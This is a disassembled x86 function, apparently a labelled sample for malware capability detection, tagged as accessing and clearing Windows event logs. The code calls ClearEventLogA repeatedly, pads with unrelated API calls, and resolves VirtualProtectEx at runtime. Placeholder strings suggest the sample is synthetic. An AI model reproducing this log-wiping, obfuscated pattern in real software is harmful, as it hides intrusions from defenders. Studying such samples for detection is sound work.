Function at 0x6bad7600
Capabilities:
Access the windows event log
Clear windows event logs
Set current directory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
cmp dword [0x6bb7ad60], 0x5746
jle 0x6bad7bdc
mov eax, dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [esp], 0
mov dword [ebp - 0x1c], eax
call eax
push eax
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_SetCommMask]
mov eax, dword [0x6bb7ae94]
mov esi, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov dword [0x6bb7af90], 0x68b69ef7
push edx
push edx
mov dword [0x6bb7ae74], eax
mov dword [esp + 4], str.Repellendus_debitis_odit_et_sed_et_mollitia_quia_quia_omnis_omnis
mov dword [esp], 0
call esi
push ecx
push ecx
mov dword [esp + 4], str.OpheliaSchmitt
mov dword [esp], 0
call esi
push ebx
push ebx
mov dword [esp + 4], str.DaphneySteuber
mov dword [esp], 0
call esi
mov eax, dword [0x6bb7afa8]
mov dword [0x6bb7ae78], 0x75e4b18f
push edi
push edi
mov dword [0x6bb7aef4], eax
mov eax, dword [0x6bb7af28]
mov dword [0x6bb7af64], 0x92187caa
mov dword [0x6bb7aedc], eax
mov dword [esp + 4], str.Voluptatem_aut_aliquid_placeat_aperiam_exercitationem_omnis_est_et_quos_nostrum
mov dword [esp], 0
call esi
push eax
push eax
mov eax, dword [0x6bb7ae14]
mov dword [esp], eax
call fcn.6badcbb4
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [esp], str.Atque_doloribus_perferendis_qui_temporibus_doloremque_nemo_est_et
mov dword [0x6bb7aecc], eax
mov eax, dword [0x6bb7aee8]
mov dword [0x6bb7aff4], eax
call edi
push eax
mov dword [esp + 4], str.Dignissimos_explicabo_vel
mov dword [esp], 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov dword [0x6bb7aec0], 0x4aef499b
push eax
push eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call ebx
mov eax, dword [0x6bb7ae3c]
sub esp, 0x14
mov dword [esp], 0xd2280364
mov dword [esp + 4], 0
mov dword [0x6bb7ae64], eax
call fcn.6badcbb4
mov dword [esp + 0x10], 0
mov dword [0x6bb7ae74], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call ebx
mov eax, dword [0x6bb7af68]
sub esp, 0x14
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp + 8], str.Sed_ex_perspiciatis_ipsam_magni_eos
mov dword [0x6bb7ae40], eax
mov eax, dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [0x6bb7b040], 0x15ed3d11
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [ebp - 0x24], eax
call eax
sub esp, 0xc
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call ebx
sub esp, 0x14
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call ebx
mov eax, dword [ebp - 0x1c]
sub esp, 0x14
mov dword [esp], 0
call eax
push eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [ebp - 0x20], eax
mov dword [esp], 0
call eax
push eax
mov dword [esp], str.DrCoryBashirianIII
call edi
mov eax, dword [0x6bb7b058]
mov dword [0x6bb7b044], 0x75c5cf37
push edx
mov dword [0x6bb7affc], eax
mov dword [0x6bb7ae38], 0x2767d070
mov dword [0x6bb7ae94], 0x5d2d768a
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov eax, dword [0x6bb7af60]
push ecx
push ecx
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp], 0
mov dword [0x6bb7affc], eax
mov eax, dword [ebp - 0x20]
call eax
mov dword [0x6bb7ae50], 0xf17ab86e
push eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], str.Quod_quia_deserunt
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
mov ecx, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
sub esp, 0xc
mov dword [ebp - 0x30], ecx
mov dword [esp], 0
call ecx
push eax
mov dword [esp + 4], str.DonnellKrajcik
mov dword [esp], 0
call esi
push eax
push eax
mov eax, dword [ebp - 0x20]
mov dword [esp], 0
call eax
push eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], 0
call eax
mov edx, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push eax
mov dword [ebp - 0x28], edx
mov dword [esp], str.LaneyBoyle
call edx
push edx
mov dword [esp + 4], str.CarmenLebsack
mov dword [esp], 0
call esi
mov edx, dword [ebp - 0x28]
push ecx
push ecx
mov dword [ebp - 0x2c], edx
mov dword [esp], str.Maxime_dicta_inventore_voluptatum_qui_in
call edx
mov ecx, dword [ebp - 0x30]
push eax
mov dword [ebp - 0x28], ecx
mov dword [esp], 0
call ecx
push eax
mov eax, dword [0x6bb7adf8]
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp], 0
mov dword [0x6bb7adfc], eax
mov eax, dword [0x6bb7afec]
mov dword [0x6bb7aedc], eax
mov eax, dword [ebp - 0x20]
call eax
push eax
mov eax, dword [0x6bb7afdc]
mov dword [0x6bb7af10], eax
mov dword [esp + 4], str.HeatherHintz
mov dword [esp], str.DrIanHeaneyIV
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
push eax
push eax
mov dword [esp], str.Impedit_earum_illo_enim_et_porro_dicta_quia_veritatis_aut_earum_aut_aut_deleniti
call edi
mov dword [0x6bb7ae14], 0x3472fcef
push eax
mov dword [esp + 4], str.CristobalHudson
mov dword [esp], 0
call esi
mov eax, dword [0x6bb7aeb8]
push edx
push edx
mov dword [esp], eax
call fcn.6badcbb4
mov dword [0x6bb7adf8], eax
mov eax, dword [0x6bb7b05c]
mov dword [esp], eax
call fcn.6badcbb4
mov ecx, dword [ebp - 0x28]
mov dword [esp], 0
mov dword [0x6bb7ae14], eax
call ecx
push ecx
mov dword [esp], str.ShayneAnderson
call edi
mov dword [0x6bb7adf0], 0x91fcab2d
push esi
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call ebx
sub esp, 0x14
mov dword [esp], str.DaisyStokes
call edi
push eax
mov dword [esp], str.Et_et_reiciendis_excepturi_earum_sit_atque
call edi
push eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], 0
call eax
mov dword [0x6bb7ae3c], 0x9d523060
push eax
mov eax, dword [0x6bb7ae50]
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp], 0xd3c9843b
mov dword [esp + 4], 0
mov dword [0x6bb7ae40], eax
mov dword [0x6bb7ae68], 0x1077ed60
mov dword [0x6bb7adec], 0x55da67c3
mov dword [0x6bb7b008], 0x7971bd9b
call fcn.6badcbb4
mov dword [esp + 0x10], 0
mov dword [0x6bb7ade8], eax
mov eax, dword [0x6bb7afb0]
mov dword [0x6bb7b054], 0xa3693a2b
mov dword [0x6bb7aec4], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call ebx
mov dword [0x6bb7aed4], 0x1ab2c42b
sub esp, 0x14
mov dword [esp], 0x38359731
call fcn.6badcbb4
mov edx, dword [ebp - 0x2c]
mov dword [esp], str.JarenVeum
mov dword [0x6bb7af04], eax
call edx
push eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call ebx
sub esp, 0x14
mov dword [esp], 0xe30b8e72
mov dword [esp + 4], 0
call fcn.6badcbb4
mov dword [esp + 0x10], 0
mov dword [0x6bb7ade0], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call ebx
mov eax, dword [0x6bb7addc]
mov dword [0x6bb7afb8], 0xbee4ea8d
sub esp, 0x14
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp + 8], str.Aliquid_impedit_dolor_explicabo_in_eveniet_quia
mov dword [0x6bb7b040], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
mov dword [0x6bb7b05c], 0xcffb8da5
sub esp, 0xc
mov dword [esp + 4], str.VirtualProtectEx
mov dword [esp], str.kernel32.dll
call fcn.6bad457f
mov edx, dword [ebp + 0x18]
mov dword [esp + 0x10], edx
mov edx, dword [ebp + 0x14]
mov dword [esp + 0xc], edx
mov edx, dword [ebp + 0x10]
mov dword [esp + 8], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov edx, dword [ebp + 8]
mov dword [esp], edx
call eax
sub esp, 0x14
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret